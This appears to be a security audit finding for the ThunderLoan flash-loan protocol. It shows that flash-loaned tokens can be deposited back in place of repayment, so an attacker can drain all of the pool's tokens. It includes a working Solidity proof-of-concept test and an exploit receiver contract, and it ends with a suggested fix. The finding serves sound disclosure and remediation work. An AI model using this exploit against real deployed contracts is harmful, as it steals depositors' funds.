Flashloaned tokens can be redeposited during a flash loan, not only bypassing the balance sanity check but making the protocol think the user has a valid deposit. The same bug is present in both upgraded and current versions of the protocol.
In the user's executeOperation function, he can call ThunderLoan's deposit function instead of repay. This bypasses the sanity check at line 213, meaning the attacker will be able to trick the protocol into thinking he has a deposit as big as his flash loaned amount.
On the example below, after modifying the test files, we see that the user starts with 0 of tokenA and ends with 110027437357158047785.
function testFlashLoanExploit() public setAllowedToken hasDeposits {
AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
uint256 amountToBorrow = AMOUNT * 10;
vm.startPrank(user);
tokenA.mint(address(mockFlashLoanReceiver), AMOUNT);
uint256 userTokenBalanceBeforeExploit = tokenA.balanceOf(user);
thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA, amountToBorrow, "");
mockFlashLoanReceiver.cashOut(address(tokenA), assetToken.balanceOf(address(mockFlashLoanReceiver)));
uint256 userTokenBalanceAfterExploit = tokenA.balanceOf(user);
vm.stopPrank();
console.log(userTokenBalanceBeforeExploit, userTokenBalanceAfterExploit);
assertLt(userTokenBalanceBeforeExploit, userTokenBalanceAfterExploit);
}
interface IThunderLoan {
function repay(address token, uint256 amount) external;
function deposit(IERC20 token, uint256 amount) external;
function redeem(IERC20 token, uint256 amountOfAssetToken) external;
}
...
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address initiator,
bytes calldata
)
external
returns (bool)
{
s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this));
if (initiator != s_owner) {
revert MockFlashLoanReceiver__onlyOwner();
}
if (msg.sender != s_thunderLoan) {
revert MockFlashLoanReceiver__onlyThunderLoan();
}
IERC20(token).approve(s_thunderLoan, amount + fee);
IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee);
s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this));
return true;
}
function cashOut(address token, uint256 amountAssetToken) external{
if (msg.sender != s_owner) {
revert MockFlashLoanReceiver__onlyOwner();
}
IThunderLoan(s_thunderLoan).redeem(IERC20(token), amountAssetToken);
IERC20(token).transfer(msg.sender, IERC20(token).balanceOf(address(this)));
}
All underlying tokens can be drained. All funds will be lost.
Forge test.
In the deposit function, check if a flash loan is occurring. If so, do not allow the deposit to happen.
You can declare this error:
This will stop deposits of a specific token while that token is being flashloaned.
The same bug is present in both upgraded and current versions of the protocol, so make sure to fix the other file too.